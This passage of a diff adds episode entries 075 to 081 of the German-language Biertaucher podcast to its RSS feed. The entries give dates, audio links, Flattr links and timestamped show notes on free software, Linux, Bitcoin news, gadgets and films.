+</li><li>0:31:00 Gregors postacopalyptische Comicempfehlung: <a href="http://de.wikipedia.org/wiki/Sweet_Tooth">Sweettooth</a>
+</li><li>0:34:30 die 2. Ausgabe vom <a href="http://gimpmagazine.org/">Gimp Magazin</a> ist erschienen
+</li><li>0:36:12 <a href="http://spacejanitors.geekandsundry.com/">Web-TV Serie auf Geek and Sundry</a>: <a href="http://www.spacejanitors.com/">Space Janitors</a>
+</li><li>0:37:07 wir warten auf Johnny um Themen wie Tor-Server-Raid und Google's Politkampagne zu besprechen
+</li><li>0:37:42 Bios Nachfolger U-Efi - Linux booten verboten ?
+</li><li>0:40:12 Crowdfunding Plattform Indygogo akzeptiert Euros, Steam für Linux, Gregor will zahlen für Androidspiele
+</li><li>0:42:15 zdf dokumentation über Energiewende und ihre Gegner ( nicht mehr ) auf Youtube, inkl. Rohquellen
+</li><li>0:44:08 Bitcoin-News mit Andreas und Andreas - Block Reward wurde halbiert - die Hälfte aller Bitcoins wurde bereits erzeugt
+ </li>li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher081.mp3" length="46319483" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst berichtet direkt aus Gregor's Nerd-Höhle von großen Tablets, Comic-Readern und Ascii-Kaminfeuer. Reportage: Schule in Bewegung (Spittal/Drau) und Roboexotica. Und Natürlich Bitcoin-News mit Andreas und Andreas.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/zVPGk bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1055948/Biertaucher-Podcast-Folge-081
+</itunes:summary>
+
+ <itunes:duration>1:04:19</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 081, Roboexotica, Schule, Schule in Bewegung, Spittal, Bictoin, Dept, Buch, Space Janitors, Comics, Mitch Altmann, Metalab, Sven Guckes, pocket, read it later, Gimp Magazin, Indygogo, Steam, Linux, Energiewende, Bitcoin
+</itunes:keywords>
+ </item>
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 080</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:080</link>
+ <pubDate>Thu, 29 Nov 2012 14:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher080.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:080&amp;title=Biertaucher%20Folge%20080&amp;language=de_DE&amp;tags=Biertaucher,Podcast,080,Raumthermostat,Smartmeter,Sailfish,Smartphone,Sozialarbeit,Kinder,Paedagogik,Email,Freiburg,Bictoin,Dept,Buch&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG, Gäste: Felix, Peter, Karem sowie Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/ezPlF (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1037458/Biertaucher-Podcast-Folge-080
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/ezPlF">hier klicken um die Shownotes zur Folge 080</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> , Gäste: Peter, Karem, Felix und das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten. <br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1037458/Biertaucher-Podcast-Folge-080" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>00:01:00 Hausmeisterthemen
+</li><li>00:02:00 Felix über seinen Geburtsort, Hitler, Johnny Cash und Landsberg
+</li><li>00:04:30 Peter über Raumthermostate und Smartmeter
+</li><li>00:22:47 Sailfish-OS und seine Geschichte
+</li><li>00:28:16 Felix über Alte Handys und Kids mit ihrem Bezug zu Smartphones
+</li><li>00:34:00 Der intelligente Fenstergriff und Peters Smarthome
+</li><li>00:40:00 Felix ber die Sozialarbeit
+</li><li>00:45:30 Pädagogik Medienkompetenz Kinder und Technik
+</li><li>01:06:00 Email seine Flaws und andere Netz-Kommunikationsformen
+</li><li>01:10:00 <a href="http://www.heise.de/open/meldung/Freiburg-wechselt-zurueck-zu-MS-Office-1753751.html">Freiburg läßt OSS-Strategie fallen</a>
+</li><li>01:17:00 Bank Austria Gutschein
+</li><li>01:21:00 Karem (13) quatscht mit uns alten Nerds über Smartphones, Tablets und Facebook in seiner Schule
+</li><li>01:41:00 Horst hat weiter im Buch „Debt - the fist 5.000 years“ gelesen
+</li><li>01:45:00 John McAfee
+</li><li>01:50:30 Bitcoinupdate mit Andreas und Andreas
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher080.mp3" length="83662465" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Felix berichtet von Sozialarbeit mit Kindern, Peter spricht mit seinem Smarthome, Karem (13) berichtet von seiner Schule und stellt viele Fragen, Horst ereifert sich über Freiburg, Andreas und Andreas liefern ein Bitcoinupdate u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/ezPlF bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1037458/Biertaucher-Podcast-Folge-080
+</itunes:summary>
+
+ <itunes:duration>1:56:11</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 080, Raumthermostat, Smartmeter, Sailfish, Smartphone, Sozialarbeit, Kinder, Pädagogik, Email, Freiburg, Bictoin, Dept, Buch
+
+</itunes:keywords>
+ </item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 079</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:079</link>
+ <pubDate>Thu, 22 Nov 2012 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher079.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:079&amp;title=Biertaucher%20Folge%20079&amp;language=de_DE&amp;tags=Biertaucher,Podcast,079,Foodcoops,Dupstern,Permakultur,Braunschlag,Treatment,TV-Serie,Skyfall,Kino,Ubuntu,Shopping-Lens,FreeBSD,Hacker,Buch,Debpt,Latitude,Android,Google,Nexus_S,Roboexotica,Broken_Rules,Chaising_Aurora,Schulen,Ponytime,Pygmy,Spieleveteranen,Powerplay,Vorgedacht,Raumthermospat,Unity,Yps&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG (sowie Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON und Interviewgast Martin MAYR) plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/kljcc (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1019864/Biertaucher-Podcast-Folge-079
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/kljcc">hier klicken um die Shownotes zur Folge 079</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> sowie <b>Martin MAYR</b> und das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> plaudern über freie Software sowie andere Nerd-Neuigkeiten. <br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1019864/Biertaucher-Podcast-Folge-079" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+</li><li>00:00:60 Hausmeisterthemen
+</li><li>00:04:00 Johnnys Raspberry und Wlanfähiger Raumthermostat (siehe <a href="http://osdwiki.open-entry.com/doku.php/de:ideen:6lowpan-thermometer">OSDomotics-Wiki</a>)
+</li><li>00:15:16 Horst hat Martin Mayr im Zug interviewt und in Schulen Programmierstunden abgehalten.
+</li><li>00:34:50 Rehear: Podcast CRE IPv6 und über <a href="http://cre.fm/cre198">Pornographie</a>, Podcast Spoileralert über <a href="http://spoileralert.bildungsangst.de/2012/11/spa015-teenage-superspy-dampfhammer/">Pygmy</a> , Der <a href="http://ponytime.net/">Ponytime-Podcast</a> , Der <a href="http://www.vorgedacht.net/">Vorgedacht Podcast</a>
+</li><li>00:42:00 <a href="http://unity3d.com/unity/">Unity für Linux</a>, <a href="http://www.spieleveteranen.de/podcasts">Spieleveteranen</a>, <a href="http://www.spieleveteranen.de/archives/910">Powerplay Sonderausgabe</a>, <a href="http://www.spiegel.de/kultur/gesellschaft/yps-neues-heft-fast-ausverkauft-a-861213.html">NEuauflage der Zeitschrift Yps</a>
+</li><li>00:48:30 <a href="http://www.brokenrul.es/">Broken Rules</a> hat ihr neues Spiel <a href="http://www.chasing-aurora.com/">"Chasing Aurora"</a> veröffentlich
+</li><li>00:50:00 Aufruf zum Besuch der <a href="http://www.roboexotica.org/">Roboexotica</a>
+</li><li>00:54:50 Johnny überlegt ein LG Nexus4 zu kaufen, Nexus S bekommt kein Update, Die <a href="http://derstandard.at/1350261553781/Google-verschaerft-Regeln-gegen-Android-Fragmentierung">Fragmentierung der anderen Art</a>
+</li><li>01:11:00 Location Based Services/<a href="https://latitude.google.com/latitude/b/0">Google Latitude</a>
+</li><li>01:18:00 Horst hat angefangen ein Wirtschaftsbuch zu lesen: <a href="http://www.amazon.de/gp/product/1612191819/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1612191819&linkCode=as2&tag=spielendprogr-21">Dept, the first 5.000 years</a>
+</li><li>01:23:30 der <a href="http://www.freebsd.org/news/2012-compromise.html">FreeBSD Server wurden gehackt</a>
+</li><li>01:28:10 Die <a href="http://www.muktware.com/4773/what-canonical-could-have-done-about-shopping-lens#.UKJU3mdZejh">alternative Shopping-Lens von Mark Tully</a>
+</li><li>01:30:15 Gregor war im Kino: <a href="https://de.wikipedia.org/wiki/James_Bond_007:_Skyfall">James Bond 007 Skyfall</a>, 40 Folgen/Season01 der <a href="https://de.wikipedia.org/wiki/In_Treatment_%E2%80%93_Der_Therapeut">Serie "In Treatment"</a> , <a href="https://de.wikipedia.org/wiki/Taxi_Driver_%281976%29">Taxi-Driver von Martin Scorsese</a>
+</li><li>01:44:30 Horst empfiehlt die akustischen Untertitel zur Serie "<a href="http://www.amazon.de/gp/product/B006W63256/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B006W63256&linkCode=as2&tag=spielendprogr-21">Braunschlag</a>"
+</li><li>01:49:00 Bitcoinupdate mit Andreas Lehrbaum und Andreas Petersson
+</li><li>02:04:30 Gespräch im Zug: Horst und Martin Mayr über <a href="http://de.wikipedia.org/wiki/Permakultur">Permakultur</a>, <a href="http://de.wikipedia.org/wiki/Bobo_(Gesellschaft)">Bobo</a>-Tips, <a href="http://de.wikipedia.org/wiki/Foodcoop">Foodcoops</a> und <a href="http://de.wikipedia.org/wiki/Dumpstern">Dumpstern</a> ( Essen aus dem Müllcontainer)
+
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher079.mp3" length="122272176" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Nerd-Neuigkeiten, Bobo-Lebensberatung mit Martin Mayr, Dumpstern, Foodcoops, Permakultur, Buch- und Filmtipps, Bitcoinnuews u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/kljcc bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1019864/Biertaucher-Podcast-Folge-079
+</itunes:summary>
+
+ <itunes:duration>2:49:49</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 079, Foodcoops, Dumpstern, Permakultur, Braunschlag, Treatment, Kino, Ubuntu, Shopping-Lens, FreeBSD, Hacker, Dept, Latitude, Roboexotica, Chaising Aurora, Schulen, Ponytime, Powerplay, Vorgedacht, Unity, Yps</itunes:keywords>
+ </item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 078</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:078</link>
+ <pubDate>Thu, 15 Nov 2012 11:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher078.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:078&amp;title=Biertaucher%20Folge%20078&amp;language=de_DE&amp;tags=Biertaucher,Podcast,078,Google,Jobs,buch,are_you_smart_enough_to_work_at_google,microserfs,Linux,Mint,Xubuntu,tablet,reperatur,zensur,Film,Surrogates,Looper,kickstarter,elite,star_citizien,20$-tablet,ebooks,stellaris_launchpad,energieautoark,wahlcomputer,usa,alternativlos,disney,lucasfilm,gravity_falls,xkdc,bitcoin&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG und Thomas KRONSTEINER (sowie Bitcoin-news Team Andreas LEHRBAUM und Andreas PETERSSON) trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/kEDf8 (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/995813/Biertaucher-Podcast-Folge-078
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/kEDf8">hier klicken um die Shownotes zur Folge 078</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Johnny ZWENG</b> und <b>Thomas KRONSTEINER</b>sowie das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen. <br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/995813/Biertaucher-Podcast-Folge-078" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>00:00:35 Hausmeisterthemen
+</li><li>00:02:41 Horst verschmäht <a href="http://www.google.com/about/jobs/">Jobangebot bei Google</a> und hat "<a href="http://www.amazon.de/gp/product/0316187674/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=0316187674&linkCode=as2&tag=spielendprogr-21">Are you smart enough to work at Google</a> gelesen bzw. <a href="http://www.amazon.de/gp/product/0060987049/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=0060987049&linkCode=as2&tag=spielendprogr-21">Microservs von Douglas Coupland</a>
+</li><li>00:09:00 Google zeigt seine Rechenzentren
+</li><li>00:15:33 <a href="http://linuxmint.com/">Linux Mint 14</a> und <a href="http://xubuntu.org/">Xubuntu</a>
+</li><li>00:19:30 Johnny und sein kaputtes Tablet / Rückgabe von Hardware
+</li><li>00:27:20 Meldung: <a href="https://netzpolitik.org/2012/internet-zensur-in-russland-auch-anonymisierungsdienste-proxy-server-und-vpns-werden-verboten/">Russland möchte Umgehung von Netzsperren unter Strafe stellen</a>
+</li><li>00:33:20 Johnny und Gregor haben sich (trotz Warnung) <a href="http://www.imdb.com/title/tt1276104/">Loopers</a> angesehen / Gregor hat sich <a href="http://www.imdb.com/title/tt0986263/">Surrogates</a> angesehen
+</li><li>00:37:34 Second Life/Google Wave/Facebook/Zynga/Sc
+</li><li>00:50:43 Kickstarter: <a href="http://www.kickstarter.com/projects/cig/star-citizen?ref=card">"Star Citizen"</a> und <a href="http://www.kickstarter.com/projects/1461411552/elite-dangerous">"Elite RPG"</a>
+</li><li>00:55:00 <a href="http://qz.com/26244/how-a-20-tablet-from-india-could-finish-off-pc-makers-educate-billions-and-transform-computing-as-we-know-it/">indisches 20$ Tablet für Schulen</a> / Hardware-Tablets im Unterricht. Eltern/Kinder/Medienkompetenz
+</li><li>01:15:30 Ankündigung Bitcoin-Beitrag
+</li><li>01:16:00 Texas Instruments baut das <a href="http://www.ti.com/ww/en/launchpad/stellaris_head.html?DCMP=stellaris-launchpad&HQS=stellaris-launchpad-b">"Stellaris Launchpad"</a> für Walmart
+</li><li>01:18:00 Garips Wählscheiben Telefone und Telefone
+</li><li>01:20:00 Studie: <a href="http://wien.orf.at/news/stories/2557823/">Österreich könnte energie-autark und nahrungsmittel-autark</a> leben
+</li><li>01:21:55 <a href="http://futurezone.at/produkte/12311-e-book-streit-eu-akzeptiert-apple-angebot.php">Apple vs. EU: Ebook-Thema / Ebooks</a>
+</li><li>01:39:00 Zahlen für Wikipedia/Wissensquellen im Internet
+</li><li>01:44:00 Bericht: <a href="http://www.spotify.com/at/blog/archives/2010/07/12/linux/">Spotify für Linux</a>
+</li><li>01:47:00 Johnny berichtet über <a href="http://futurezone.at/digitallife/12305-youtube-video-zeigt-defekten-wahlcomputer.php">störrische Wahlcomputer in der USA</a> / Rehear: Der Podcast <a href="http://alternativlos.org/28/">Alternativlos zum Thema amerikanische Demokratie und Wahlfälschung</a>
+</li><li>01:49:00 Podcast zum Thema: <a href="http://yaycomics.net/podcast/13">Disney kauft Lucasfilms</a>. Serie von <a href="https://en.wikipedia.org/wiki/Gravity_Falls">Disney Gravity Falls</a>
+</li><li>01:56:10 Bitcoin-Update
+
+
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher078.mp3" length="97270829" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>JGoogle Jobinterviews, vermeidbare Kinofilme, indische 20$-Tablets, Elite Weltraumspiel auf Kickstarter, Bitcoinnuews u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/kEDf8 bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/995813/Biertaucher-Podcast-Folge-078
+</itunes:summary>
+
+ <itunes:duration>2:15:08</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 078, Google, Jobs, buch, microserfs, Linux, Mint, Xubuntu, zensur, Film, Surrogates, Looper, kickstarter, elite, 20$-tablet, ebooks, energieautoark, wahlcomputer, usa, alternativlos, disney, lucasfilm, xkdc, bitcoin</itunes:keywords>
+ </item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 077</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:077</link>
+ <pubDate>Wed, 07 Nov 2012 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher077.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:077&amp;title=Biertaucher%20Folge%20077&amp;language=de_DE&amp;tags=Biertaucher,Podcast,077,Cryptoparty,Nexus4,Samsung,Android,Nokia,Jolla,Motorola,RaspberryPi,Mediacenter,Startup,Konferenz,pioneers,CCC,29C3,Bank_Austria,GEA,FMA,paybox,Kino,Looper,Ubuntu,Amazon,Arch,Linux,Gnome3_6,Mint,Xubuntu,OLPC,Julius,Spracherkennung&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG, Florian SCHWEIKERT und Andreas PETERSSON sowie Andreas LEHRBAUM trinken Bier und plaudern über freie Software und andere Nerd-Themen. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/PUxVf (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/976442/Biertaucher-Podcast-Folge-077
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/PUxVf">hier klicken um die Shownotes zur Folge 077</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b> sowie das Bitcoin-News Team <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen. <br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/976442/Biertaucher-Podcast-Folge-077" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+</li><li>00:01:19 Hausmeisterthemen
+</li><li>00:04:00 Florian erzählt von der Cryptoparty im Metalab
+</li><li>00:10:00 Nexus 4 und Google/LG (Preis)Strategien
+</li><li>00:17:00 Samsung verärgert die Android-Community
+</li><li>00:21:00 Ex-Nokianer und ihr mobiles Betriebssystem Jolla/Motorola
+</li><li>00:23:00 Florian und Johnny mit ihren RaspberryPis als Mediacenter
+</li><li>00:40:00 Horst und sein missglücktes Interview über <a href="http://pioneersfestival.com/">Pioneers Startup Konferenz</a>
+</li><li>00:47:30 Florian wird den <a href="http://www.ccc.de/de/">CCC-Kongress</a> in Hamburg besuchen und hat schon <a href="http://events.ccc.de/">Ticket gekauft</a>
+</li><li>00:53:00 Der Bank Austria Fail
+</li><li>00:59:00 Hersteller <a href="http://www.w4tler.at/geaneu/2582/fma-vs-gea/fma-format-3">GEA-Schuhe</a> hat Streit mit der Finanzmarktaufsicht
+</li><li>01:01:40 Paybox stellt den Feldversuch ein
+</li><li>01:08:25 Kino: Horst hat <a href="http://www.youtube.com/watch?v=2iQuhsmtfHw">Looper</a> gesehen
+</li><li>01:12:05 Ubuntu und unverschlüsselte Verbindungen zu Amazon
+</li><li>01:16:40 Gregor auf der Suche nach alternativen Distributionen (Archlinux/systemd/Gnome3.6/Linux Mint/Cinnamon/Xubuntu)
+</li><li>01:31:32 <a href="http://www.heise.de/tp/blogs/3/153094">OLPC vom Helicopter</a> - lernen ohne Lehrer
+</li><li>01:36:50 Teaser:Florian beginnt mit owncloud, conft einen RaspberryPi-Präsentationscomputer und testet die Spracherkennungsengine Julius
+</li><li>01:39:51 Rehear: Hörempfehlung: <a href="http://podcast.ubuntu-uk.org/2012/10/10/s05e17-mr-spaceship/">Ubuntu UK Podcast Episode S05E17</a> mit Interview mit Mark Shuttleworth
+
+
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher077.mp3" length="87718131" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Johnny ärgert sich über Bank Austria, Gregor sucht eine Linuxdistro, Florian war auf Cryptoparty, Horst war im Kino, Bitcoinnuews mit Andreas und Andreas</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/PUxVf bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/976442/Biertaucher-Podcast-Folge-077
+</itunes:summary>
+
+ <itunes:duration>2:01:49</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 077, Cryptoparty, Nexus4, Jolla, RaspberryPi, Mediacenter, Startup, Konferenz, pioneers, CCC, 29C3, Bank Austria, GEA, FMA, paybox, Looper, Arch, Gnome3.6, Xubuntu, OLPC, Julius, Spracherkennung</itunes:keywords>
+ </item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 076</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:076</link>
+ <pubDate>Tue, 30 Oct 2012 23:59:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher076.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2012:076&amp;title=Biertaucher%20Folge%20076&amp;language=de_DE&amp;tags=Biertaucher,Podcast,076,Kino,Bitcoin,Nexus,osdomotics,Keksdose,Roboter,Kino,Mobile_payment,Tablet,Robot_and_Frank,Konzert,zeitraffer,fotografie,internetagentur,wukonig,Graz,webspace,Garfunkel_and_Oates,David_Wayne,Webserie,Youtube,die_vermessung_der_welt,funny_van_dannen,konzert,The_last_Train,Eureka,Interview&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG, Harald PICHLER und Andreas PETERSSON trinken Bier und plaudern über freie Software und andere Nerd-Themen. INTERVEWS mit Andreas BIEDER und Jörg WUKONIG. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/bBDvT (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/968180/Biertaucher-Podcast-Folge-076
+
+ </description>
+ <content:encoded><![CDATA[
+
+
+ <i>Bitte <a href="http://goo.gl/bBDvT">hier klicken um die Shownotes zur Folge 076</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Horst JENS</b>, <b>Harald PICHLER</b>, <b>Johnny ZWENG</b> und Gast: <b>Andreas PETERSSON</b> trinken Bier und plaudern über freie Software sowie andere Nerd-Themen. <b>INTERVIEWS</b>: Jörg Wukonig und Andreas Bieder.<br></br>
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/968180/Biertaucher-Podcast-Folge-076" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+
+ <li>00:01:31 Bitcoinnews, Hausmeisterthemen
+</li><li>00:04:01 Displaybruch von Gregors Nexus S. Google Präsentation der neuen Geräte (Nexus4 und Tablet Nexus10)
+</li><li>00:06:38 Johnnys Medion Tablet freezt on Bootup
+</li><li>00:12:50 Haralds Keksdosen-Roboter "Keksi",
+</li><li>20:55 Andreas war am B1-Hackathon für Mobile-Payment-Apps
+</li><li>00:33:50 Filmvorschau <a href="http://youtu.be/EiFqT5-6JQg">Robot & Frank</a>
+</li><li>00:37:00 Horst hat sich "Vermessung der Welt" angesehen
+</li><li>00:39:00 <a href="http://www.funny-van-dannen.de/">Funny-Van-Dannen</a> konzert in der Arena
+</li><li>00:40:20 Filme: <a href="http://youtu.be/iD1HXO2TTfU">Babylon AD</a>, <a href="http://de.wikipedia.org/wiki/Deer_Hunter">Deer Hunter</a>, 6teilige BBC-Serie <a href="http://en.wikipedia.org/wiki/The_Last_Train_(TV_series)">The Last Train</a>
+</li><li>00:44:00 TV-Serie <a href="http://en.wikipedia.org/wiki/Eureka_(U.S._TV_series)">Eureka</a>
+</li><li>00:45:55 Musik: <a href="http://www.garfunkelandoates.com/">Garfunkel und Oats</a> Webserie: <a href="http://www.wainydays.com/">Wainydays</a> von David Wain
+</li><li>00:48:00 Harald öffnet seinen Roboter "Keksi"
+</li><li>00:52:00 Andreas kündigt 2 Veranstaltungen an. <a href="http://bitcoin-austria.at/wiki/Treffen/next">Bitcointreffen am 6.11. im Metalab Wien</a>
+</li><li>Aufgezeichnete Interviews:
+</li><li>00:57:00 Interview Andreas "Zeitraffer" Bieder
+</li><li>01:24:00 Interview Jörg Wukonig ( <a href="http://wukonig.com">Internetagentur Graz</a> )
+</li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher076.mp3" length="71682006" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Keksdosenroboter, Youtube, programmieren, Tablet. Interviews: Zeitraffer-Fotografie, Jörg Wukonig über Internetagentur und Graz</itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/bBDvT bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/968180/Biertaucher-Podcast-Folge-076
+</itunes:summary>
+
+ <itunes:duration>1:19:33</itunes:duration>
+ <itunes:keywords>Biertaucher, Podcast, 076, Kino, Bitcoin, Nexus, osdomotics, Keksdose, Roboter, Kino, Mobile-payment, Robot and Frank, zeitraffer, fotografie, internetagentur, wukonig, Graz, Garfunkel and Oates, David Wayne</itunes:keywords>
+ </item>
+
+
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 075</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:075</link>
+ <pubDate>Wed, 24 Oct 2012 16:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher075.mp3</guid>
